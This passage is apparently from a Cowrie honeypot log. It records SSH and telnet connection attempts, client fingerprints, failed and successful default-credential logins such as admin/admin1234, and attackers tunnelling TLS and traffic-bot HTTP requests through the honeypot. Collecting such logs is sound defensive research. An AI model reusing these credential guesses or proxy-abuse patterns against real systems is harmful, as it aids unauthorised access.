forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r\\x8e\\xcc\\x03\\xc6\\x86\\xd2`\\x06\\xdf\\x1c\\xeb\\xc6\\x93=-0\\xa4S\\xb7\\xfej\\xff\\xddG\\xd4\\x0e\\\\w%\\xbd\\x0b hy\\x06\\xec[\\xe0\\xc5\\xb6s(\\xcd\\xe2r\\xd6\\x88\\xdb\\xddW2u\\x87\\x19\\x85,AI\\xda\\x8fG\\xcb\\x1f\\xb5\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xf6\\xa95#:SZ\\xd4\\x07C\\x10\\x07Q\\x8f0-,\\x10\\x03\\x82\\xe5T\\x03\\xf1\\x108\\xf6>=Ja\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.731416Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.903638Z","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.962409Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xc5\\xa0\\x1e\\x94\\x91B\\xd6ViK\\x1dSC\\x82\\xd6\\x97\"\\xda\\xd4\\x93\\xed\\xa2\\xe2\\x0c[H\\x80\\x9f\\xb5\\xacA _\\xc7%\\xafS\\xe7\\x1f\\xd6\\x8d\\xf1\\xe5\\xb7\\xd3an\\xc6\\xa7\\x94\\xaa\\x1cM\\xd7\\xb3\\x1f\\xaaj\\x05\\x07\\xad\\xa4\\x8ao\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ly\\xc7\\xe5\\xcb\\xd1\\x9a\\x1cE\\x8a\\xe6\\xd0c\\xec\\x9b\\xa1\\xff\\xa1e<\\xbaH}a\\xca\\x06\\x0b\\x94\\xb5P\\xedd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xc5\\xa0\\x1e\\x94\\x91B\\xd6ViK\\x1dSC\\x82\\xd6\\x97\"\\xda\\xd4\\x93\\xed\\xa2\\xe2\\x0c[H\\x80\\x9f\\xb5\\xacA _\\xc7%\\xafS\\xe7\\x1f\\xd6\\x8d\\xf1\\xe5\\xb7\\xd3an\\xc6\\xa7\\x94\\xaa\\x1cM\\xd7\\xb3\\x1f\\xaaj\\x05\\x07\\xad\\xa4\\x8ao\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 ly\\xc7\\xe5\\xcb\\xd1\\x9a\\x1cE\\x8a\\xe6\\xd0c\\xec\\x9b\\xa1\\xff\\xa1e<\\xbaH}a\\xca\\x06\\x0b\\x94\\xb5P\\xedd\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:06.977642Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.0","message":"Connection lost after 37.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:09.299188Z","src_ip":"23.175.50.47","session":"18bceb9f9352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":42022,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f7fb179f7bc","protocol":"ssh","message":"New connection: 77.94.47.83:42022 (159.203.135.109:22) [session: 6f7fb179f7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:12.117887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:12.122355Z","src_ip":"77.94.47.83","session":"6f7fb179f7bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:12.232579Z","src_ip":"77.94.47.83","session":"6f7fb179f7bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250380","message":"login attempt [root/250380] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:12.585386Z","src_ip":"77.94.47.83","session":"6f7fb179f7bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:13.700618Z","src_ip":"77.94.47.83","session":"6f7fb179f7bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52668,"dst_ip":"10.17.0.5","dst_port":22,"session":"49000011d33d","protocol":"ssh","message":"New connection: 113.164.152.20:52668 (10.17.0.5:22) [session: 49000011d33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:17.085690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:17.091061Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:17.377847Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52769,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3b633f7be6","protocol":"ssh","message":"New connection: 23.175.50.52:52769 (10.17.0.5:22) [session: 7b3b633f7be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:18.018363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:18.023059Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:18.187864Z","src_ip":"23.175.50.52","session":"7b3b633f7be6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:18.592292Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:19.027978Z","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:19.262132Z","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47400,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dd851a8c09a","protocol":"telnet","message":"New connection: 128.199.8.54:47400 (159.203.135.109:23) [session: 7dd851a8c09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:19.900435Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:20.349359Z","src_ip":"113.164.152.20","session":"49000011d33d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; 9009G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bjMxIzUyY05YRWpRNmRGRw%3D%3D6QAk2aLYeEt7v7CTWV8M22LoqKojA3TfMJCdi0dlT3R42MCvhazhgfOc7UanaBaze0SdZfblwt0xbBE3f7rC2qTFwuvMZfdXOqb%2B5t09wnT6PIhSrp7DW5iAot5oMY%2FqejPXd6RF3KMpHQtldINIs5l8z90rKiz2FvO7BlaVu%2F3%2BPcYDqk8uwDBiEXOOGnCmhRbN8OVo7scAPN7qq8h27ONGA93v0aznx7BbtR7%2BI4t8577BHGSmylfo3yTtjrJYedoiFbB7Qr5wE4dU%2B%2BTrVWj2H22ZYVAV3rMevTvTZKvn0wxXbk61cyeLXVs0XNz6VI0Q1ZgmXrWGXb%2ByMeFgynAZG5CMndpP%2BHqCS3xMRuTK1SqXZCMf%2FHHMHkCr8SOKMVlaRqkolK3HCLcn4hsY9m3fTE0AgXgTWiBbiPV%2BUMaq7I3iwZc1lyrzvnvbWRAfJ370uBasJDyVfu5hOJqHM%2BOZlbD9oNDnX9ZiXhTwMoM%2BcU7ZHLWBbSRW5eYmJV3p%2FAziK%2F%2FDPaNySmmTJmXAVB6rB1R%2BgPVxjXlAWSQj5C41k%2FFMqXiNHaQbyimJOwYV0p%2BXz%2FQ%2FrPJVo0kLIzs8pZfwqZpTBiC%2FvryTwyoimtdpmwUpYoR2Ku2pSptLULja%2BC%2BHX9yNy%2BI6XLe%2F521Mwnwdjb28iQw%2BO%2BQSlwpDVvtlqOzWxdOSHR45%2BiUgFnCH55jUatbzubYT1oueslELhuT9Zo3L5f0aVe%2F3b33qTpg1ZYp%2F0FAm0fYg4%2FiWdbs0f5W6wiUL0qs6COq1hhpvimMbZY9At7BNVifxrIu3VtDMV5c39BQlKYlhR9uVIfX%2BLptkAltKTNXv92VVPKaEYUo3BIWRambv3LZ7JRFFY9b4J4tcFKmJG3vVD6vSaCDGjWOgAm8h%2F7%2FBOd0J8t23gT%2FTzE1kEroi4Dd%2BSr43NJPLIHEbqvRwjymYH3Iy%2Bxp%2B%2B4wJZ5wSKhDU%2FjpzFQcdniUvKLX5Qyzb6WaJkwCzMBFVeMVREugF4dJhET0LRTOA%2Bu7M98TQ20xm9xa8kQsLz0HZ88Rs%2BOuPmaZJpSt9KtuunNZYnPz7YroZhNu3pT%2FZ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; 9009G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bjMxIzUyY05YRWpRNmRGRw%3D%3D6QAk2aLYeEt7v7CTWV8M22LoqKojA3TfMJCdi0dlT3R42MCvhazhgfOc7UanaBaze0SdZfblwt0xbBE3f7rC2qTFwuvMZfdXOqb%2B5t09wnT6PIhSrp7DW5iAot5oMY%2FqejPXd6RF3KMpHQtldINIs5l8z90rKiz2FvO7BlaVu%2F3%2BPcYDqk8uwDBiEXOOGnCmhRbN8OVo7scAPN7qq8h27ONGA93v0aznx7BbtR7%2BI4t8577BHGSmylfo3yTtjrJYedoiFbB7Qr5wE4dU%2B%2BTrVWj2H22ZYVAV3rMevTvTZKvn0wxXbk61cyeLXVs0XNz6VI0Q1ZgmXrWGXb%2ByMeFgynAZG5CMndpP%2BHqCS3xMRuTK1SqXZCMf%2FHHMHkCr8SOKMVlaRqkolK3HCLcn4hsY9m3fTE0AgXgTWiBbiPV%2BUMaq7I3iwZc1lyrzvnvbWRAfJ370uBasJDyVfu5hOJqHM%2BOZlbD9oNDnX9ZiXhTwMoM%2BcU7ZHLWBbSRW5eYmJV3p%2FAziK%2F%2FDPaNySmmTJmXAVB6rB1R%2BgPVxjXlAWSQj5C41k%2FFMqXiNHaQbyimJOwYV0p%2BXz%2FQ%2FrPJVo0kLIzs8pZfwqZpTBiC%2FvryTwyoimtdpmwUpYoR2Ku2pSptLULja%2BC%2BHX9yNy%2BI6XLe%2F521Mwnwdjb28iQw%2BO%2BQSlwpDVvtlqOzWxdOSHR45%2BiUgFnCH55jUatbzubYT1oueslELhuT9Zo3L5f0aVe%2F3b33qTpg1ZYp%2F0FAm0fYg4%2FiWd